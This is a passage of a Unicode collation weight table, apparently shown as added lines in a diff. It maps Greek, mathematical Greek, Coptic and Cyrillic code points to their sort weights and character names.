+1D6D8 ; [.1FDE.0020.0005] # MATHEMATICAL BOLD SMALL CHI
+1D712 ; [.1FDE.0020.0005] # MATHEMATICAL ITALIC SMALL CHI
+1D74C ; [.1FDE.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL CHI
+1D786 ; [.1FDE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL CHI
+1D7C0 ; [.1FDE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL CHI
+03A7  ; [.1FDE.0020.0008] # GREEK CAPITAL LETTER CHI
+1D6BE ; [.1FDE.0020.000B] # MATHEMATICAL BOLD CAPITAL CHI
+1D6F8 ; [.1FDE.0020.000B] # MATHEMATICAL ITALIC CAPITAL CHI
+1D732 ; [.1FDE.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL CHI
+1D76C ; [.1FDE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL CHI
+1D7A6 ; [.1FDE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL CHI
+1D61  ; [.1FDE.0020.0014] # MODIFIER LETTER SMALL CHI
+1D6A  ; [.1FDE.0020.0015] # GREEK SUBSCRIPT SMALL LETTER CHI
+03C8  ; [.1FDF.0020.0002] # GREEK SMALL LETTER PSI
+1D6D9 ; [.1FDF.0020.0005] # MATHEMATICAL BOLD SMALL PSI
+1D713 ; [.1FDF.0020.0005] # MATHEMATICAL ITALIC SMALL PSI
+1D74D ; [.1FDF.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL PSI
+1D787 ; [.1FDF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL PSI
+1D7C1 ; [.1FDF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PSI
+03A8  ; [.1FDF.0020.0008] # GREEK CAPITAL LETTER PSI
+1D6BF ; [.1FDF.0020.000B] # MATHEMATICAL BOLD CAPITAL PSI
+1D6F9 ; [.1FDF.0020.000B] # MATHEMATICAL ITALIC CAPITAL PSI
+1D733 ; [.1FDF.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL PSI
+1D76D ; [.1FDF.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL PSI
+1D7A7 ; [.1FDF.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PSI
+1D2A  ; [.1FE0.0020.0002] # GREEK LETTER SMALL CAPITAL PSI
+03C9  ; [.1FE1.0020.0002] # GREEK SMALL LETTER OMEGA
+1D6DA ; [.1FE1.0020.0005] # MATHEMATICAL BOLD SMALL OMEGA
+1D714 ; [.1FE1.0020.0005] # MATHEMATICAL ITALIC SMALL OMEGA
+1D74E ; [.1FE1.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL OMEGA
+1D788 ; [.1FE1.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL OMEGA
+1D7C2 ; [.1FE1.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL OMEGA
+03A9  ; [.1FE1.0020.0008] # GREEK CAPITAL LETTER OMEGA
+2126  ; [.1FE1.0020.0008] # OHM SIGN
+1D6C0 ; [.1FE1.0020.000B] # MATHEMATICAL BOLD CAPITAL OMEGA
+1D6FA ; [.1FE1.0020.000B] # MATHEMATICAL ITALIC CAPITAL OMEGA
+1D734 ; [.1FE1.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL OMEGA
+1D76E ; [.1FE1.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL OMEGA
+1D7A8 ; [.1FE1.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL OMEGA
+1F60  ; [.1FE1.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER OMEGA WITH PSILI
+1F68  ; [.1FE1.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI
+1F64  ; [.1FE1.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA
+1F6C  ; [.1FE1.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA
+1FA4  ; [.1FE1.0020.0002][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA AND YPOGEGRAMMENI
+1FAC  ; [.1FE1.0020.0008][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA AND PROSGEGRAMMENI
+1F62  ; [.1FE1.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA
+1F6A  ; [.1FE1.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA
+1FA2  ; [.1FE1.0020.0002][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA AND YPOGEGRAMMENI
+1FAA  ; [.1FE1.0020.0008][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA AND PROSGEGRAMMENI
+1F66  ; [.1FE1.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI
+1F6E  ; [.1FE1.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI
+1FA6  ; [.1FE1.0020.0002][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
+1FAE  ; [.1FE1.0020.0008][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
+1FA0  ; [.1FE1.0020.0002][.0000.0022.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND YPOGEGRAMMENI
+1FA8  ; [.1FE1.0020.0008][.0000.0022.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND PROSGEGRAMMENI
+1F61  ; [.1FE1.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER OMEGA WITH DASIA
+1F69  ; [.1FE1.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA
+1F65  ; [.1FE1.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA
+1F6D  ; [.1FE1.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA
+1FA5  ; [.1FE1.0020.0002][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA AND YPOGEGRAMMENI
+1FAD  ; [.1FE1.0020.0008][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA AND PROSGEGRAMMENI
+1F63  ; [.1FE1.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA
+1F6B  ; [.1FE1.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA
+1FA3  ; [.1FE1.0020.0002][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA AND YPOGEGRAMMENI
+1FAB  ; [.1FE1.0020.0008][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA AND PROSGEGRAMMENI
+1F67  ; [.1FE1.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI
+1F6F  ; [.1FE1.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI
+1FA7  ; [.1FE1.0020.0002][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
+1FAF  ; [.1FE1.0020.0008][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
+1FA1  ; [.1FE1.0020.0002][.0000.0023.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND YPOGEGRAMMENI
+1FA9  ; [.1FE1.0020.0008][.0000.0023.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND PROSGEGRAMMENI
+03CE  ; [.1FE1.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH TONOS
+1F7D  ; [.1FE1.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH OXIA
+038F  ; [.1FE1.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH TONOS
+1FFB  ; [.1FE1.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH OXIA
+1FF4  ; [.1FE1.0020.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH OXIA AND YPOGEGRAMMENI
+1F7C  ; [.1FE1.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER OMEGA WITH VARIA
+1FFA  ; [.1FE1.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER OMEGA WITH VARIA
+1FF2  ; [.1FE1.0020.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH VARIA AND YPOGEGRAMMENI
+1FF6  ; [.1FE1.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER OMEGA WITH PERISPOMENI
+1FF7  ; [.1FE1.0020.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PERISPOMENI AND YPOGEGRAMMENI
+1FF3  ; [.1FE1.0020.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH YPOGEGRAMMENI
+1FFC  ; [.1FE1.0020.0008][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI
+AB65  ; [.1FE2.0020.0002] # GREEK LETTER SMALL CAPITAL OMEGA
+03E1  ; [.1FE3.0020.0002] # GREEK SMALL LETTER SAMPI
+03E0  ; [.1FE3.0020.0008] # GREEK LETTER SAMPI
+0373  ; [.1FE4.0020.0002] # GREEK SMALL LETTER ARCHAIC SAMPI
+0372  ; [.1FE4.0020.0008] # GREEK CAPITAL LETTER ARCHAIC SAMPI
+03F8  ; [.1FE5.0020.0002] # GREEK SMALL LETTER SHO
+03F7  ; [.1FE5.0020.0008] # GREEK CAPITAL LETTER SHO
+2C81  ; [.1FE6.0020.0002] # COPTIC SMALL LETTER ALFA
+2C80  ; [.1FE6.0020.0008] # COPTIC CAPITAL LETTER ALFA
+2C83  ; [.1FE7.0020.0002] # COPTIC SMALL LETTER VIDA
+2C82  ; [.1FE7.0020.0008] # COPTIC CAPITAL LETTER VIDA
+2C85  ; [.1FE8.0020.0002] # COPTIC SMALL LETTER GAMMA
+2C84  ; [.1FE8.0020.0008] # COPTIC CAPITAL LETTER GAMMA
+2C87  ; [.1FE9.0020.0002] # COPTIC SMALL LETTER DALDA
+2C86  ; [.1FE9.0020.0008] # COPTIC CAPITAL LETTER DALDA
+2C89  ; [.1FEA.0020.0002] # COPTIC SMALL LETTER EIE
+2C88  ; [.1FEA.0020.0008] # COPTIC CAPITAL LETTER EIE
+2CB7  ; [.1FEB.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC EIE
+2CB6  ; [.1FEB.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC EIE
+2C8B  ; [.1FEC.0020.0002] # COPTIC SMALL LETTER SOU
+2C8A  ; [.1FEC.0020.0008] # COPTIC CAPITAL LETTER SOU
+2C8D  ; [.1FED.0020.0002] # COPTIC SMALL LETTER ZATA
+2C8C  ; [.1FED.0020.0008] # COPTIC CAPITAL LETTER ZATA
+2C8F  ; [.1FEE.0020.0002] # COPTIC SMALL LETTER HATE
+2C8E  ; [.1FEE.0020.0008] # COPTIC CAPITAL LETTER HATE
+2C91  ; [.1FEF.0020.0002] # COPTIC SMALL LETTER THETHE
+2C90  ; [.1FEF.0020.0008] # COPTIC CAPITAL LETTER THETHE
+2C93  ; [.1FF0.0020.0002] # COPTIC SMALL LETTER IAUDA
+2C92  ; [.1FF0.0020.0008] # COPTIC CAPITAL LETTER IAUDA
+2C95  ; [.1FF1.0020.0002] # COPTIC SMALL LETTER KAPA
+2C94  ; [.1FF1.0020.0008] # COPTIC CAPITAL LETTER KAPA
+2CE4  ; [.1FF1.0020.0004][.1FE6.0020.0004][.1FF0.0020.0004] # COPTIC SYMBOL KAI
+2CB9  ; [.1FF2.0020.0002] # COPTIC SMALL LETTER DIALECT-P KAPA
+2CB8  ; [.1FF2.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P KAPA
+2C97  ; [.1FF3.0020.0002] # COPTIC SMALL LETTER LAULA
+2C96  ; [.1FF3.0020.0008] # COPTIC CAPITAL LETTER LAULA
+2C99  ; [.1FF4.0020.0002] # COPTIC SMALL LETTER MI
+2C98  ; [.1FF4.0020.0008] # COPTIC CAPITAL LETTER MI
+2C9B  ; [.1FF5.0020.0002] # COPTIC SMALL LETTER NI
+2C9A  ; [.1FF5.0020.0008] # COPTIC CAPITAL LETTER NI
+2CBB  ; [.1FF6.0020.0002] # COPTIC SMALL LETTER DIALECT-P NI
+2CBA  ; [.1FF6.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P NI
+2CBD  ; [.1FF7.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC NI
+2CBC  ; [.1FF7.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC NI
+2C9D  ; [.1FF8.0020.0002] # COPTIC SMALL LETTER KSI
+2C9C  ; [.1FF8.0020.0008] # COPTIC CAPITAL LETTER KSI
+2C9F  ; [.1FF9.0020.0002] # COPTIC SMALL LETTER O
+2C9E  ; [.1FF9.0020.0008] # COPTIC CAPITAL LETTER O
+2CA1  ; [.1FFA.0020.0002] # COPTIC SMALL LETTER PI
+2CA0  ; [.1FFA.0020.0008] # COPTIC CAPITAL LETTER PI
+2CA3  ; [.1FFB.0020.0002] # COPTIC SMALL LETTER RO
+2CA2  ; [.1FFB.0020.0008] # COPTIC CAPITAL LETTER RO
+2CA5  ; [.1FFC.0020.0002] # COPTIC SMALL LETTER SIMA
+2CA4  ; [.1FFC.0020.0008] # COPTIC CAPITAL LETTER SIMA
+2CA7  ; [.1FFD.0020.0002] # COPTIC SMALL LETTER TAU
+2CA6  ; [.1FFD.0020.0008] # COPTIC CAPITAL LETTER TAU
+2CA9  ; [.1FFE.0020.0002] # COPTIC SMALL LETTER UA
+2CA8  ; [.1FFE.0020.0008] # COPTIC CAPITAL LETTER UA
+2CAB  ; [.1FFF.0020.0002] # COPTIC SMALL LETTER FI
+2CAA  ; [.1FFF.0020.0008] # COPTIC CAPITAL LETTER FI
+2CAD  ; [.2000.0020.0002] # COPTIC SMALL LETTER KHI
+2CAC  ; [.2000.0020.0008] # COPTIC CAPITAL LETTER KHI
+2CAF  ; [.2001.0020.0002] # COPTIC SMALL LETTER PSI
+2CAE  ; [.2001.0020.0008] # COPTIC CAPITAL LETTER PSI
+2CB1  ; [.2002.0020.0002] # COPTIC SMALL LETTER OOU
+2CB0  ; [.2002.0020.0008] # COPTIC CAPITAL LETTER OOU
+2CBF  ; [.2003.0020.0002] # COPTIC SMALL LETTER OLD COPTIC OOU
+2CBE  ; [.2003.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC OOU
+2CC1  ; [.2004.0020.0002] # COPTIC SMALL LETTER SAMPI
+2CC0  ; [.2004.0020.0008] # COPTIC CAPITAL LETTER SAMPI
+03E3  ; [.2005.0020.0002] # COPTIC SMALL LETTER SHEI
+03E2  ; [.2005.0020.0008] # COPTIC CAPITAL LETTER SHEI
+2CEC  ; [.2006.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC SHEI
+2CEB  ; [.2006.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI
+2CC3  ; [.2007.0020.0002] # COPTIC SMALL LETTER CROSSED SHEI
+2CC2  ; [.2007.0020.0008] # COPTIC CAPITAL LETTER CROSSED SHEI
+2CC5  ; [.2008.0020.0002] # COPTIC SMALL LETTER OLD COPTIC SHEI
+2CC4  ; [.2008.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC SHEI
+2CC7  ; [.2009.0020.0002] # COPTIC SMALL LETTER OLD COPTIC ESH
+2CC6  ; [.2009.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC ESH
+03E5  ; [.200A.0020.0002] # COPTIC SMALL LETTER FEI
+03E4  ; [.200A.0020.0008] # COPTIC CAPITAL LETTER FEI
+03E7  ; [.200B.0020.0002] # COPTIC SMALL LETTER KHEI
+03E6  ; [.200B.0020.0008] # COPTIC CAPITAL LETTER KHEI
+2CF3  ; [.200C.0020.0002] # COPTIC SMALL LETTER BOHAIRIC KHEI
+2CF2  ; [.200C.0020.0008] # COPTIC CAPITAL LETTER BOHAIRIC KHEI
+2CC9  ; [.200D.0020.0002] # COPTIC SMALL LETTER AKHMIMIC KHEI
+2CC8  ; [.200D.0020.0008] # COPTIC CAPITAL LETTER AKHMIMIC KHEI
+03E9  ; [.200E.0020.0002] # COPTIC SMALL LETTER HORI
+03E8  ; [.200E.0020.0008] # COPTIC CAPITAL LETTER HORI
+2CCB  ; [.200F.0020.0002] # COPTIC SMALL LETTER DIALECT-P HORI
+2CCA  ; [.200F.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P HORI
+2CCD  ; [.2010.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HORI
+2CCC  ; [.2010.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HORI
+2CCF  ; [.2011.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HA
+2CCE  ; [.2011.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HA
+2CD1  ; [.2012.0020.0002] # COPTIC SMALL LETTER L-SHAPED HA
+2CD0  ; [.2012.0020.0008] # COPTIC CAPITAL LETTER L-SHAPED HA
+2CD3  ; [.2013.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HEI
+2CD2  ; [.2013.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HEI
+2CD5  ; [.2014.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HAT
+2CD4  ; [.2014.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HAT
+03EB  ; [.2015.0020.0002] # COPTIC SMALL LETTER GANGIA
+03EA  ; [.2015.0020.0008] # COPTIC CAPITAL LETTER GANGIA
+2CEE  ; [.2016.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA
+2CED  ; [.2016.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC GANGIA
+2CD7  ; [.2017.0020.0002] # COPTIC SMALL LETTER OLD COPTIC GANGIA
+2CD6  ; [.2017.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC GANGIA
+03ED  ; [.2018.0020.0002] # COPTIC SMALL LETTER SHIMA
+03EC  ; [.2018.0020.0008] # COPTIC CAPITAL LETTER SHIMA
+2CD9  ; [.2019.0020.0002] # COPTIC SMALL LETTER OLD COPTIC DJA
+2CD8  ; [.2019.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC DJA
+2CDB  ; [.201A.0020.0002] # COPTIC SMALL LETTER OLD COPTIC SHIMA
+2CDA  ; [.201A.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC SHIMA
+2CDD  ; [.201B.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN SHIMA
+2CDC  ; [.201B.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN SHIMA
+03EF  ; [.201C.0020.0002] # COPTIC SMALL LETTER DEI
+03EE  ; [.201C.0020.0008] # COPTIC CAPITAL LETTER DEI
+2CB3  ; [.201D.0020.0002] # COPTIC SMALL LETTER DIALECT-P ALEF
+2CB2  ; [.201D.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P ALEF
+2CB5  ; [.201E.0020.0002] # COPTIC SMALL LETTER OLD COPTIC AIN
+2CB4  ; [.201E.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC AIN
+2CDF  ; [.201F.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN NGI
+2CDE  ; [.201F.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN NGI
+2CE1  ; [.2020.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN NYI
+2CE0  ; [.2020.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN NYI
+2CE3  ; [.2021.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN WAU
+2CE2  ; [.2021.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN WAU
+0430  ; [.2022.0020.0002] # CYRILLIC SMALL LETTER A
+2DF6  ; [.2022.0020.0004] # COMBINING CYRILLIC LETTER A
+0410  ; [.2022.0020.0008] # CYRILLIC CAPITAL LETTER A
+04D1  ; [.2022.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER A WITH BREVE
+04D0  ; [.2022.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER A WITH BREVE
+04D3  ; [.2022.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER A WITH DIAERESIS
+04D2  ; [.2022.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER A WITH DIAERESIS
+04D9  ; [.2026.0020.0002] # CYRILLIC SMALL LETTER SCHWA
+04D8  ; [.2026.0020.0008] # CYRILLIC CAPITAL LETTER SCHWA
+04DB  ; [.2026.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER SCHWA WITH DIAERESIS
+04DA  ; [.2026.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER SCHWA WITH DIAERESIS
+04D5  ; [.202A.0020.0002] # CYRILLIC SMALL LIGATURE A IE
+04D4  ; [.202A.0020.0008] # CYRILLIC CAPITAL LIGATURE A IE
+0431  ; [.202E.0020.0002] # CYRILLIC SMALL LETTER BE
+2DE0  ; [.202E.0020.0004] # COMBINING CYRILLIC LETTER BE
+0411  ; [.202E.0020.0008] # CYRILLIC CAPITAL LETTER BE
+0432  ; [.2032.0020.0002] # CYRILLIC SMALL LETTER VE
+1C80  ; [.2032.0020.0004] # CYRILLIC SMALL LETTER ROUNDED VE
+2DE1  ; [.2032.0020.0004] # COMBINING CYRILLIC LETTER VE
+0412  ; [.2032.0020.0008] # CYRILLIC CAPITAL LETTER VE
+0433  ; [.2036.0020.0002] # CYRILLIC SMALL LETTER GHE
+2DE2  ; [.2036.0020.0004] # COMBINING CYRILLIC LETTER GHE
+0413  ; [.2036.0020.0008] # CYRILLIC CAPITAL LETTER GHE
+0453  ; [.2036.0020.0002][.0000.0024.0002] # CYRILLIC SMALL LETTER GJE
+0403  ; [.2036.0020.0008][.0000.0024.0002] # CYRILLIC CAPITAL LETTER GJE
+0491  ; [.2036.0020.0004][.0000.0111.0004] # CYRILLIC SMALL LETTER GHE WITH UPTURN
+0490  ; [.2036.0020.000A][.0000.0111.0004] # CYRILLIC CAPITAL LETTER GHE WITH UPTURN
+0493  ; [.203A.0020.0002] # CYRILLIC SMALL LETTER GHE WITH STROKE
+0492  ; [.203A.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH STROKE
+04FB  ; [.203E.0020.0002] # CYRILLIC SMALL LETTER GHE WITH STROKE AND HOOK
+04FA  ; [.203E.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH STROKE AND HOOK
+0495  ; [.2042.0020.0002] # CYRILLIC SMALL LETTER GHE WITH MIDDLE HOOK
+0494  ; [.2042.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH MIDDLE HOOK
+04F7  ; [.2046.0020.0002] # CYRILLIC SMALL LETTER GHE WITH DESCENDER
+04F6  ; [.2046.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH DESCENDER
+0434  ; [.204A.0020.0002] # CYRILLIC SMALL LETTER DE
+1C81  ; [.204A.0020.0004] # CYRILLIC SMALL LETTER LONG-LEGGED DE
+2DE3  ; [.204A.0020.0004] # COMBINING CYRILLIC LETTER DE
+0414  ; [.204A.0020.0008] # CYRILLIC CAPITAL LETTER DE
+0501  ; [.204E.0020.0002] # CYRILLIC SMALL LETTER KOMI DE
+0500  ; [.204E.0020.0008] # CYRILLIC CAPITAL LETTER KOMI DE
+A681  ; [.204F.0020.0002] # CYRILLIC SMALL LETTER DWE
+A680  ; [.204F.0020.0008] # CYRILLIC CAPITAL LETTER DWE
+0452  ; [.2050.0020.0002] # CYRILLIC SMALL LETTER DJE
+0402  ; [.2050.0020.0008] # CYRILLIC CAPITAL LETTER DJE
+A663  ; [.2054.0020.0002] # CYRILLIC SMALL LETTER SOFT DE
+A662  ; [.2054.0020.0008] # CYRILLIC CAPITAL LETTER SOFT DE
+0503  ; [.2055.0020.0002] # CYRILLIC SMALL LETTER KOMI DJE
+0502  ; [.2055.0020.0008] # CYRILLIC CAPITAL LETTER KOMI DJE
+0499  ; [.2056.0020.0002] # CYRILLIC SMALL LETTER ZE WITH DESCENDER
+0498  ; [.2056.0020.0008] # CYRILLIC CAPITAL LETTER ZE WITH DESCENDER
+0435  ; [.205A.0020.0002] # CYRILLIC SMALL LETTER IE
+2DF7  ; [.205A.0020.0004] # COMBINING CYRILLIC LETTER IE
+0415  ; [.205A.0020.0008] # CYRILLIC CAPITAL LETTER IE
+0450  ; [.205A.0020.0002][.0000.0025.0002] # CYRILLIC SMALL LETTER IE WITH GRAVE
+0400  ; [.205A.0020.0008][.0000.0025.0002] # CYRILLIC CAPITAL LETTER IE WITH GRAVE
+04D7  ; [.205A.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER IE WITH BREVE
+04D6  ; [.205A.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER IE WITH BREVE
+0451  ; [.205A.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER IO
+0401  ; [.205A.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER IO
+0454  ; [.205E.0020.0002] # CYRILLIC SMALL LETTER UKRAINIAN IE
+A674  ; [.205E.0020.0004] # COMBINING CYRILLIC LETTER UKRAINIAN IE
+0404  ; [.205E.0020.0008] # CYRILLIC CAPITAL LETTER UKRAINIAN IE
+0436  ; [.2062.0020.0002] # CYRILLIC SMALL LETTER ZHE
+2DE4  ; [.2062.0020.0004] # COMBINING CYRILLIC LETTER ZHE
+0416  ; [.2062.0020.0008] # CYRILLIC CAPITAL LETTER ZHE
+04C2  ; [.2062.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER ZHE WITH BREVE
+04C1  ; [.2062.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER ZHE WITH BREVE
+04DD  ; [.2062.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER ZHE WITH DIAERESIS
+04DC  ; [.2062.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER ZHE WITH DIAERESIS
+052B  ; [.2066.0020.0002] # CYRILLIC SMALL LETTER DZZHE
+052A  ; [.2066.0020.0008] # CYRILLIC CAPITAL LETTER DZZHE
+A685  ; [.2067.0020.0002] # CYRILLIC SMALL LETTER ZHWE
+A684  ; [.2067.0020.0008] # CYRILLIC CAPITAL LETTER ZHWE
+0497  ; [.2068.0020.0002] # CYRILLIC SMALL LETTER ZHE WITH DESCENDER
+0496  ; [.2068.0020.0008] # CYRILLIC CAPITAL LETTER ZHE WITH DESCENDER
+0437  ; [.206C.0020.0002] # CYRILLIC SMALL LETTER ZE
+2DE5  ; [.206C.0020.0004] # COMBINING CYRILLIC LETTER ZE
+0417  ; [.206C.0020.0008] # CYRILLIC CAPITAL LETTER ZE
+04DF  ; [.206C.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER ZE WITH DIAERESIS
+04DE  ; [.206C.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER ZE WITH DIAERESIS
+A641  ; [.2070.0020.0002] # CYRILLIC SMALL LETTER ZEMLYA
+A640  ; [.2070.0020.0008] # CYRILLIC CAPITAL LETTER ZEMLYA
+0505  ; [.2071.0020.0002] # CYRILLIC SMALL LETTER KOMI ZJE
+0504  ; [.2071.0020.0008] # CYRILLIC CAPITAL LETTER KOMI ZJE
+0511  ; [.2072.0020.0002] # CYRILLIC SMALL LETTER REVERSED ZE
+0510  ; [.2072.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED ZE
+A643  ; [.2073.0020.0002] # CYRILLIC SMALL LETTER DZELO
+A642  ; [.2073.0020.0008] # CYRILLIC CAPITAL LETTER DZELO
+0455  ; [.2074.0020.0002] # CYRILLIC SMALL LETTER DZE
+0405  ; [.2074.0020.0008] # CYRILLIC CAPITAL LETTER DZE
+A645  ; [.2078.0020.0002] # CYRILLIC SMALL LETTER REVERSED DZE
+A644  ; [.2078.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED DZE
+04E1  ; [.2079.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN DZE
